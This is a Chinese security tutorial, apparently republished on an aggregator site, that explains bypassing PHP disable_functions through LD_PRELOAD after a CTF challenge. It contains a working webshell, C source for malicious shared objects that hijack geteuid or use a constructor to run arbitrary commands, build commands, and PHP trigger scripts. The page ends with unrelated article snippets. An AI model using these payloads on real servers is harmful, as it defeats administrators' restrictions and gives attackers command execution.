和preload_通过LD_PRELOAD绕过disable_functions

0x00 前言

前段时间碰到拿到shell以后限制了basedir并且无法执行命令的情况,解决办法是上传恶意的.so文件,并通过设置LD_PRELOAD,然后调用新进程来加载恶意.so文件,达到绕过的效果。当时做这道题目的时候是跟着别人的题解直接套的(一道疯狂bypass的题目),属于一知半解的状态,比赛结束之后又耽搁了一两天,才有时间总结学习以下这个方式。

0x01 学习

链接

在学习LD_PRELOAD之前需要了解什么是链接

程序的链接主要有以下三种:

  1. 静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。

  2. 装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。

  3. 运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。

对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。但是由于程序是在运行时动态加载,这就存在一个问题,假如程序动态加载的函数是恶意的,就有可能导致disable_function被绕过。

LD_PRELOAD介绍

在UNIX的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入恶意程序,从而达到那不可告人的罪恶的目的。

为什么可以绕过

想要利用LD_PRELOAD环境变量绕过disable_functions需要注意以下几点:

  1. 能够上传自己的.so文件

  2. 能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数

  3. 存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和error_log()等

首先,我们能够上传恶意.so文件,.so文件由攻击者在本地使用与服务端相近的系统环境进行编译,该库中重写了相关系统函数,重写的系统函数能够被PHP中未被disable_functions禁止的函数所调用。

当我们能够设置环境变量,比如putenv函数未被禁止,我们就可以把LD_PRELOAD变量设置为恶意.so文件的路径,只要启动新的进程就会在新进程运行前优先加载该恶意.so文件,由此,恶意代码就被注入到程序中。

2b8f4cf2b5c12ae41b55b493a67e0ab7.png

当执行未被禁止的PHP函数,并且该函数调用了恶意库中重写的系统函数,就可以达到任意执行系统命令的效果了,因为重写的系统函数中的内容是我们可控的,对这部分内容进行编程即可。

PHP中某些函数比如mail()函数调用时,就会调用系统中的sendmail函数,由于LD_PRELOAD中指定加载了恶意的.so文件中覆盖了sendmail函数,所以就会执行重写的sendmail函数中的恶意代码,从而绕过disable_functions,达到任意执行系统命令的效果。

0x02 实践

在这么一个环境中,执行命令的相关函数被禁止

392e858c53d3b457e4001eefa9652332.png

2024c62ebb5974c206bb3587dc4268af.png

假如直接执行,会报错

test.php

<?php system($_GET['cmd']);

6037cea8ae176ebdbde6258785067809.png

编译so文件

首先查看sendmail这一系统函数会调用哪些库函数

readelf -Ws /usr/sbin/sendmail

从这些库函数中选择一个合适的即可,这里选取seteuid()来进行重写

91a58a934686c70475185983e8d30fd0.png

hack.c

#include #include #include void payload() {        system("touch /var/www/html/success");}int  seteuid() {    if (getenv("LD_PRELOAD") == NULL) { return 0; }    unsetenv("LD_PRELOAD");    payload();}

如果sateuid被调用,那么会加载payload函数,执行命令。

在编译恶意.so文件时,需要注意编译成共享对象:

如果想创建一个动态链接库,可以使用 GCC 的-shared选项。输入文件可以是源文件、汇编文件或者目标文件。另外还得结合-fPIC选项。-fPIC 选项作用于编译阶段,告诉编译器产生与位置无关代码(Position-Independent Code);这样一来,产生的代码中就没有绝对地址了,全部使用相对地址,所以代码可以被加载器加载到内存的任意位置,都可以正确的执行。这正是共享库所要求的,共享库被加载时,在内存的位置不是固定的。

你要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项。

gcc -shared -fPIC test.c -o test_x64.so

上传.so文件

上传的方式很多,一般来说,如果能getshell的话应该都有写权限,在suctf2019-easyphp一题中上传了.htaccess文件来覆盖解析,达到文件上传的绕过,从而getshell,在这种情况下,利用现成的上传点或者通过写权限新增一个上传点。

写入webshell

test2.php

<?php putenv("LD_PRELOAD=/var/www/hack.so");mail("[email protected]","","","","");?>

在浏览器中访问 webshell 就可以执行我们预期的语句了。按照此理,我们可以执行任意特定权限的命令。

20e17ab943f0fab74802eeaf37754681.png

这里我的ubuntu是没有安装sendmail的,但同样执行成功。一开始不知道怎么找原因,后面感谢我舍友的指点才发现。

在.c中加入死循环来判断到底哪个函数调用了geteuid()

test.c

#include #include #include void payload() {        system("touch /var/www/html/success");}   int  geteuid() { if (getenv("LD_PRELOAD") == NULL) { return 0; } while(1){} unsetenv("LD_PRELOAD"); payload();}

可以在top中看到当前占用最高的一项是其实是/bin/sh,因为死循环一直卡着。

c13884692d7e6c45e34feae5d4a1763d.png

是由test.php 派生出来的,因此我没有安装sendmail也执行成功的原因是sh同样调用了geteuid函数

f4594c077b61f98fa8f48f4bfaeb251a.png

970f274e4119afe03afe94e782000c1b.png

0x03 通用化

回到 LD_PRELOAD 本身,系统通过它预先加载共享对象,如果能找到一个方式,在加载时就执行代码,而不用考虑劫持某一系统函数,比如geteuid()。

在GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行__attribute__((constructor)) 修饰的函数。

__attribute__((constructor))constructor参数让系统执行main()函数之前调用函数(被__attribute__((constructor))修饰的函数)__attribute__((destructor))destructor参数让系统在main()函数退出或者调用了exit()之后,(被__attribute__((destructor))修饰的函数)

因此,只要php中设置了LD_PRELOAD,并派生了新的进程,将会执行LD_PRELOAD的文件中__attribute__((constructor))里的函数

test3.c

#include #include __attribute__((constructor))void payload() {    unsetenv("LD_PRELOAD");    const char* cmd = getenv("CMD");    system(cmd);}

test2.php

<?php putenv("CMD=ls");putenv("LD_PRELOAD=./test3_x64.so");error_log("a",1);?>

15adfff7d068bbfc82797833864a784f.png

可以看到执行成功。

0x03 参考链接

https://www.anquanke.com/post/id/175403

https://www.smi1e.top/php-bypass-disabled_functions/

1d34adc52d827222e710d9245a6c760e.gif

别忘了投稿哦

大家有好的技术原创文章

欢迎投稿至邮箱:edu@heetian.com

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦

有才能的你快来投稿吧!

了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!

aafc020433955a62235a0d7319352893.gif

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/563670.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ajax循环输出,Ajax轮询 select循环输出

弹出层.del{color:red}.addname{color:#337ab7}款项名目操作{$vo.name}删除添加...$(".addname").on("click",function(){layer.prompt({title: 添加款项名目, formType: 0}, function(text, index){layer.close(index);$.post("{:U(Contracts/setmon…

群晖服务器性能测试,对群晖DS716+进行性能测试_群晖 DS716+_企业存储技术与评测-中关村在线...

Iometer是一个工作在单系统和集群系统上用来衡量和描述I/O子系统的工具。可以被配置为模拟任何程序或者基准测试程序的磁盘和网络I/O的负载&#xff0c;或者用来产生整个综合的I/O负载。它也可以用来产生并测量单系统或者多系统(网络)的负载。在性能测试环节&#xff0c;我们采…

传播路由_什么路由器穿墙效果好?购买防骗知识

买无线路由器&#xff0c;首要辨识什么路由器穿墙效果好。面对市面上五花八门的路由器&#xff0c;很多小白在看到纷繁的参数就凌乱了&#xff0c;上了无良商家的当。小编觉得授人以鱼不如授人以渔&#xff0c;所以给大家写了一篇辨别什么路由器穿墙效果好的防入坑购买指南。我…

小程序消息服务器webapi,小程序订阅消息

# 小程序订阅消息# 功能介绍消息能力是小程序能力中的重要组成&#xff0c;我们为开发者提供了订阅消息能力&#xff0c;以便实现服务的闭环和更优的体验。 订阅消息推送位置&#xff1a;服务通知订阅消息下发条件&#xff1a;用户自主订阅订阅消息卡片跳转能力&#xff1a;点击…

php生成pdf中文断码_Rmarkdown导出中文PDF解决方案

Rmarkdown非常适合R语言使用者导出格式漂亮的文档&#xff0c;但是输出中文PDF的过程中会遇到各种麻烦的问题&#xff0c;本文整理了我的经验供大家参考。总的来说&#xff0c;通过Rmarkdown输出中文版pdf报告&#xff0c;要解决以下两个核心问题&#xff1a;导出PDF需要配置Te…

分数的大小比较优秀教案_人教版小学数学五年级下册异分母分数加、减法公开课优质课课件教案视频...

教学案例-《异分母分数加减法》教学目标&#xff1a;1.借助直观图形&#xff0c;在操作、观察、比较、的活动中理解异分母分数加减法的算理&#xff0c;掌握计算方法&#xff0c;并能正确进行计算。2.渗透转化、迁移的数学思想&#xff0c;积累研究分数问题的数学活动经验。3.能…

docker给容器分配固定ip

1.为 Docker 容器设置一个固定的 IP 地址 要为 Docker 容器设置一个固定的 IP 地址&#xff0c;有几种常见的方法&#xff1a; 使用自定义网络和静态 IP 地址&#xff1a; 你可以创建一个自定义的 Docker 网络&#xff0c;并在这个网络上为容器分配静态 IP 地址。首先&#x…

分号可以用来分段么_更高效的GMX分段模拟方法:修改tpr文件

■2020-11-01 22:42:18在以前的一篇文章中, 我简单说过基于GROMACS的分段模拟方法[1]. 这种方法非常通用, 几乎能完成任意的功能, 且无须修改源代码, 但是运行效率比较差, 因为每次运行mdrun都要重新生成tpr文件. 对大分子来说, 使用grompp生成tpr还是很耗时的, 可能会成为运行…

java list拷贝_深入了解浅拷贝与深拷贝

在学习深拷贝和浅拷贝之前&#xff0c;咱们先来一个例子&#xff1a;import java.util.ArrayList;public class MyBaby implements Cloneable {/*** 私有变量*/private ArrayList<String> list new ArrayList<>();Overrideprotected Object clone() throws CloneN…

吗 极域软件可以装win10_关于win10企业版在极域电子教室软件 v4.0 2015 豪华版的全屏控制下如何取得自由...

注.可能因为系统和软件的缘故无法实现背景由于在听课过程过于自闭&#xff0c;于是想自己去网上搜点东西看下于是 经过了一番乱搞 逐渐摸索出了现方法。方案1:大力出奇迹由于电脑在刚刚进入的状态的时候有段时间是断网的并且该鬼畜的学生端可以通过任务资源管理器直接退所以可以…

python怎么启动mne_mne-python学习之一 入门介绍

mne-python脑电图和肌电图是一个开源软件分析、处理和显示。遵循bsd许可协议,由哈佛大学和共同开发的社区。主要功能包括:预处理和脑电图\/梅格信号的去噪,源估计、时频分析、统计测试,功能连接,机器学习,可视化的传感器、来源等外资支持最常见的原始数据格式。默认的(和附带的…

dcdc升压计算器excel_DC/DC升压转换器MAX8815A

DC&#xff0f;DC升压转换器MAX8815A佚名【摘要】MAX8815A具有97&#xff05;的最高效率、3OuA低静态电流以及低噪声强制PWM工作模式。该boost转换器专为2节NiMH&#xff0f;NiCdAA电池或单节Li&#xff0b;电池输入设计&#xff0c;可从1&#xff0e;2&#xff5e;5&#xff0…

python类怎么实例化rnn层_Python backend.rnn方法代码示例

本文整理汇总了Python中keras.backend.rnn方法的典型用法代码示例。如果您正苦于以下问题&#xff1a;Python backend.rnn方法的具体用法&#xff1f;Python backend.rnn怎么用&#xff1f;Python backend.rnn使用的例子&#xff1f;那么恭喜您, 这里精选的方法代码示例或许可以…

vscode删除文件夹,VSCode:删除文件中的所有注释

Is there an easy way to delete all comments from an open file in VSCode? Preferably both line and block comments.Most interested in Java, but also Python and R.解决方案Easy way:Open extensions (ctrl-shift-x)type in remove comments in the search box.Instal…

放大镜_屏幕放大镜怎么样使用方法

首先&#xff0c;打开控制面板&#xff0c;然后找到并单击“显示”&#xff0c;然后启动放大镜。放大镜的放大倍率基于原始屏幕&#xff0c;而不是矢量放大倍率。有关放大镜的详细操作&#xff0c;请单击帮助按钮&#xff0c;其中有特定说明。捷径一&#xff1a;win 可以快速调…

python清空语句_怎么清除python编译器的语句

清除python编辑器的方法&#xff1a;1、下载清屏函数clearwindow.py&#xff0c;然后复制clearwindow.py文件&#xff0c;并放在Python安装目录PythonXLibidlelib下面2、在Python XLibidlelib目录下找到config-extensions.def(IDLE扩展的配置文件)&#xff0c;用记事本打开&…

mysql字段是否存在_Mysql判断表字段或索引是否存在

判断字段是否存在&#xff1a;DROP PROCEDURE IF EXISTS schema_change;DELIMITER //CREATE PROCEDURE schema_change() BEGINDECLARE CurrentDatabase VARCHAR();SELECT DATABASE() INTO CurrentDatabase;IF NOT EXISTS (SELECT * FROM information_schema.columns WHERE tabl…

mysql取消主键_mysql如何删除主键?

当一个表中设置了主键之后&#xff0c;如果想要删除主键了要怎么做&#xff1f;下面本篇文章就给大家介绍MySQL删除主键的方法&#xff0c;希望对你们有所帮助。首先我们来看看删除主键的语法&#xff1a;ALTER TABLE TABLE_NAME DROP PRIMARY KEY;在MySQL中删除主键要考虑两种…

mysql 备份 windows_windows mysql 自动备份的几种方法

基于之前的文章方法&#xff0c;加入批处理命令即可实现自动备份。只是由于批处理命令中对于备份文件的名字按照时间命名比较特别&#xff0c;所以特别整理一文。1、复制date文件夹备份假想环境&#xff1a;MySQL 安装位置&#xff1a;C:\MySQL论坛数据库名称为&#xff1a;b…

mysql长事务慢查询解决方案_MySQL : 如何监控和处理慢查询与长事务 ?

什么是慢查询、长事务 &#xff1f;慢查询 是指一条 SQL 的执行时间太长。比如在一个有100w条数据的表中&#xff0c;查询一条数据时未命中索引&#xff0c;从而通过全表扫描查询数据&#xff0c;这个查询会耗时很长。这就是一个 Long SQL 。类似&#xff0c;更新数据、删除数据…